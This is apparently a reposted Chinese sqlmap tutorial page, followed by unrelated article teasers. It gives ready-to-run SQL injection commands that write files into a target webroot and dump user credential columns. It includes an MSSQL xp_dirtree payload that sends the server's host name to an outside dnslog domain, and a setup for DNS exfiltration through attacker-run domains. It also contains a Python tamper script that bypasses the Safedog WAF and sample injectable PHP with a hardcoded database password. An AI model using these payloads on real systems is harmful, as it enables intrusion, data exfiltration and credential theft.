sqlmap -u "http://www.dm1.com/inj.aspx?id=1" -v 1 --file-write D:\1.txt --file-dest C:\Hws.com\HwsHostMaster\wwwroot\dm1.com\web\1.txt

sqlmap dnslog注入

這種情況適合使用沒有回顯的時,使用注入把數據發送到遠程dnslog上。

--sql-shell 調用 sql交互shell

declare @s varchar(5000),@host varchar(5000) set @s=(host_name()) set @host=CONVERT(varchar(5000),@s)+'.2kbg3j.dnslog.cn';EXEC('master..xp_dirtree "\\'+@host+'\foobar$"')
?

sqlmap --dns-domain 注入

如果目標存在注入,使用時間注入的時,速度過慢,可以使用dnslog注入

首先準備兩個域名 readteam.club 1377day.com

readteam.club 這個是阿里云的域名 添加三條記錄 分別是* 、ns1、 ns2

1377day.com 設置 dns服務服務為 ns1.readteam.club ns2.readteam.club

在sqlmap服務器上監聽53端口

tcpdump -n port 53

ping www.1377day.com

這個是存在盲注入的php代碼

<?php
?
$servername = "localhost";
$username = "root";
$password = "oCFWyfGnz8gcWuWv";
$dbame="x_pt7_site";
// Create connection
$conn = new mysqli($servername, $username, $password);
?
// Check connection
if ($conn->connect_error) {die("Connection failed: " . $conn->connect_error);
}
?
$conn->select_db("x_pt7_site") or die("選擇數據庫失敗:".$conn->error);
?
$id = $_GET['id'];
$sql = "select * from users where id=".$id; // 數字型 
?
$res =$conn->query($sql);
echo "<br><br>";
echo "<br>";
/*
while($rows = $res->fetch_array()){echo $rows['username'];
}
*/
echo "<b>";
?> 

這個命令在sqlmap服務器上執行

python3 sqlmap.py -u http://s.pt7.site/sql.php?id=1 --dbms mysql --technique=T  --dns-domain=1377day.com -D x_pt7_site --columns --batch
?

可以看到dns 隧道通信成功。盲注入的速度比時間盲注入快多了。

20.編寫tamper模塊繞過waf攔截繼續注入

首先判斷 waf的廠商 新版的sqlmap會自動去執行waf檢測

sqlmap -u http://www.p2.com/inj.aspx?id=1 -v 1  --random-agent

在SQL注入中,經常性會遇到各種廠商的waf,繞過之后經常手工提交,這樣顯得特別馬上,特別是要注入得到數據的時,手工獲取的信息太慢,這個時候可以用編寫sqlmap的tamper模塊進行注入,自動化進行操作,這樣就方便得多了。

首先分析得繞過安全狗的 payload

--/*%0a這里是你的填寫你的注入語句--%20*/

注入的語句在里面會正常執行被執行的。

接著來分析一下tamper

#!/usr/bin/env python
?
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
Author:pureqh.top
"""
?
import re
import os
?
from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
__priority__ = PRIORITY.LOW # 優先級設置
?
def dependencies():singleTimeWarnMessage("Bypass safedog by pureqh'%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MSSQL)) #描述
# tamper函數為自定義你的payload
def tamper(payload, **kwargs):payload=payload.replace('AND','--/*%0aAND')#關鍵詞替換payload=payload.replace('ORDER','--/*%0aORDER')payload=payload.replace('UNION','--/*%0aunion')payload+='--%20*/'#追加字符串return payload #返回最終的字符串
?
?

執行命令

使用聯合查詢注入檢測,隨機瀏覽器 默認會被安全狗攔截

sqlmap.py -u http://www.p2.com/inj.aspx?id=1 --dbms="MSSQL" --tamper bypass_safedog_msql.py -v 4 --flush-session --batch --tech=U --random-agent --dbs

21.sqlmap 暴力窮舉表字段

在access和mysql4.0數據庫 沒有內置庫,針對這類數據庫sqlmap使用字典窮舉的方法對表進行猜解。

sqlmap內置表和字段的字典

sqlmap -u http://www.dm3.com/Content.asp?id=9 --dbms access --threads=10 --tables

存在注入系統會詢問你是否使用字段進行猜解 選擇1后會自動猜解

如果猜解出來 接著猜解字段

sqlmap -u http://www.dm3.com/Content.asp?id=9 --dbms access --threads=10 -T i_users --columns

如果你知道字段和表名可以直接不猜解 sqlmap自動進行數據獲取

sqlmap -u http://www.dm3.com/Content.asp?id=9 --dbms access --threads=10 -T i_user -C "u_id,u_user,u_pass" --dump


?

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/38305.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/38305.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/38305.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Python-爬蟲案例

Python-爬蟲案例 代碼代碼 代碼 import requests import json import threading from queue import Queue import timeclass HeiMaTouTiao:def __init__(self):self.headers {"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) ""AppleWebKit/53…

前端筆記-day11

文章目錄 01-空間-平移02-視距03-空間旋轉Z軸04-空間旋轉X軸05-空間旋轉Y軸06-立體呈現07-案例-3D導航08-空間縮放10-動畫實現步驟11-animation復合屬性12-animation拆分寫法13-案例-走馬燈14-案例-精靈動畫15-多組動畫16-全民出游全民出游.htmlindex.css 01-空間-平移 <!D…

基于Spring Boot的在線醫療咨詢平臺的設計與實現【附源碼】

基于Spring Boot的在線醫療咨詢平臺的設計與實現 Design and implementation of the computer hardware mall based on Spring Boot Candidate&#xff1a; Supervisor&#xff1a; April 20th, 2024 學位論文原創性聲明 本人鄭重聲明&#xff1a;所呈交的論文是本人在導師…

初中英語優秀作文分析-006How to Deal with the Exam Stress-如何應對考試壓力

更多資源請關注紐扣編程微信公眾號 記憶樹 1 We students are very busy with schoolwork and in the face of many exams every school day. 翻譯 我們學生忙于功課&#xff0c;每個上學日都面臨許多考試。 簡化記憶 考試 句子結構 We students 主語 我們學生&#xf…

Vite: 高階特性 Pure ESM

概述 ESM 已經逐步得到各大瀏覽器廠商以及 Node.js 的原生支持&#xff0c;正在成為主流前端模塊化方案。 而 Vite 本身就是借助瀏覽器原生的 ESM 解析能力( type“module” )實現了開發階段的 no-bundle &#xff0c;即不用打包也可以構建 Web 應用。不過我們對于原生 ESM 的…

綜合評價類模型——突變級數法

含義 首先&#xff1a;對評價目標進行多層次矛盾分解其次&#xff1a;利用突變理論和模糊數學相結合產生突變模糊隸屬函數再次&#xff1a;由歸一公式進行綜合量化運算最終&#xff1a;歸一為一個參數&#xff0c;即求出總的隸屬函數&#xff0c;從而對評價目標進行排序分析特點…

【linux/shell實戰案例】shell中變量的使用

目錄 一.linux變量聲明及定義 二.linux變量使用方法 三.linux變量使用花括號${name}和雙引號“$name”的區別 四.linux變量使用單引號$name和雙引號“$name”的區別 五.linux變量中使用命令 一.linux變量聲明及定義 #!/bin/bash namezhaodabao 等號兩邊不能有空格變量名…

ES6面試題——箭頭函數和普通函數有什么區別

1. this指向問題 <script> let obj {a: function () {console.log(this); // 打印出&#xff1a;{a: ?, b: ?}},b: () > {console.log(this); // 打印出Window {window: Window, self: Window,...}}, }; obj.a(); obj.b(); </script> 箭頭函數中的this是在箭…

成都市水資源公報(2000-2022年)

數據年限&#xff1a;2000-2022年&#xff0c;無2009年 數據格式&#xff1a;pdf、word、jpg 數據內容&#xff1a;降水量、地表水資源量、地下水資源量、水資源總量、蓄水狀況、平原區淺層地下水動態、水資源情況分析、供水量、用水量、污水處理、洪澇干旱等

類似李跳跳的軟件有什么,強烈推薦所有安卓手機安裝!!!

今天阿星分享一款讓安卓手機更順滑的神器——智慧島。你問我李跳跳&#xff1f;由于大家都知道的原因&#xff0c;那是個曾經讓廣告無處遁形的神兵利器&#xff0c;可惜現在它已經退休了。不過別擔心&#xff0c;智慧島接過了接力棒&#xff0c;繼續為我們的安卓體驗保駕護航。…

Raccon:更好防側信道攻擊的后量子簽名方案

1. 引言 安全社區已經開發出了一些出色的加密算法&#xff0c;這些算法非常安全&#xff0c;但最終&#xff0c;所有的數據都會被存儲在硅和金屬中&#xff0c;而入侵者越來越多地會在那里放置監視器來破解密鑰。 破解加密密鑰通常涉及暴力破解方法或利用實施過程中的缺陷。然…

2029年AI服務器出貨量將突破450萬臺,AI推理服務器即將爆發式增長

在2020年&#xff0c;新冠疫情與遠程辦公模式的興起推動了所有類型服務器的出貨量達到峰值&#xff0c;隨后幾年里&#xff0c;除了AI服務器之外的所有類別都回歸到了正常水平。 根據Omdia的研究數據&#xff0c;AI服務器的出貨量在2020年急劇上升&#xff0c;并且至今未顯示出…

瀏覽器中如何獲取用戶網絡狀態

網頁開發中存在需要獲取用戶是否在線的場景及用戶網絡狀態&#xff0c;瀏覽器提了navigator.onLine和navigator.connection可以實現這一需求。 獲取在線狀態 if (navigator.onLine) {console.log("online"); } else {console.log("offline"); }監聽網絡狀…

日志的介紹

知識鋪墊&#xff1a;在我們日常開發中&#xff0c;其實日志是和我們息息相關的。但可能平常都沒怎么注意到日志相關的知識點&#xff0c;也不怎么關注日志&#xff0c;然后&#xff0c;在生產環境中&#xff0c;日志是必不可少的存在&#xff0c;項目出現問題了都是通過日志來…

cesium 添加 Echarts 圖層(空氣質量點圖)

cesium 添加 Echarts 圖層(下面附有源碼) 1、實現思路 1、在scene上面新增一個canvas畫布 2、通坐標轉換,將經緯度坐標轉為屏幕坐標來實現 3、將ecarts 中每個series數組中元素都加 coordinateSystem: ‘cesiumEcharts’ 2、示例代碼 <!DOCTYPE html> <html lan…

Excel 數據篩選難題解決

人不走空 &#x1f308;個人主頁&#xff1a;人不走空 &#x1f496;系列專欄&#xff1a;算法專題 ?詩詞歌賦&#xff1a;斯是陋室&#xff0c;惟吾德馨 目錄 &#x1f308;個人主頁&#xff1a;人不走空 &#x1f496;系列專欄&#xff1a;算法專題 ?詩詞歌…

緩存穿透、雪崩與擊穿

緩存穿透、雪崩、擊穿 1、緩存穿透強調都沒有數據并發訪問布隆過濾器緩存NULL值 2、緩存雪崩強調批量Key過期并發訪問 3、緩存擊穿強調單個Key過期并發訪問互斥鎖邏輯過期 分布式并發控制 1、緩存穿透 緩存穿透是指數據庫和緩存都沒有的數據&#xff0c;這樣緩存永遠不會生效&…

圖形化用戶界面-java頭歌實訓

圖形化用戶界面 import java.awt.*; import javax.swing.*; public class GraphicsTester extends JFrame { public GraphicsTester() { super("Graphics Demo"); setSize(480, 300); setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); } public void paint…

服務器raid5壞盤-換盤-修復陣列過程

目錄 背景原因分析解決步驟名詞解釋進入raid管理界面換回舊4號&#xff0c;進行import再次更換4號盤 總結 背景 服務器除塵之后文件服務器部分文件不能訪問了,部分文件夾內容為空&#xff0c;起初以為是新配置的權限的問題&#xff0c;排查之后發現不僅僅是權限問題 jumpserv…

ISA95-標準2-數據字典部分的解析與設計指南

在 MES/MOM 系統中,ISA-95 第二部分的數據字典扮演著至關重要的角色,它確保了數據的一致性和準確性,為不同系統間的數據交換提供了標準化的術語和定義。以下是 MES/MOM 系統實現 ISA-95 第二部分數據字典的具體概念、功能模塊以及應用場景: 一、概念、功能模塊以及應用場景…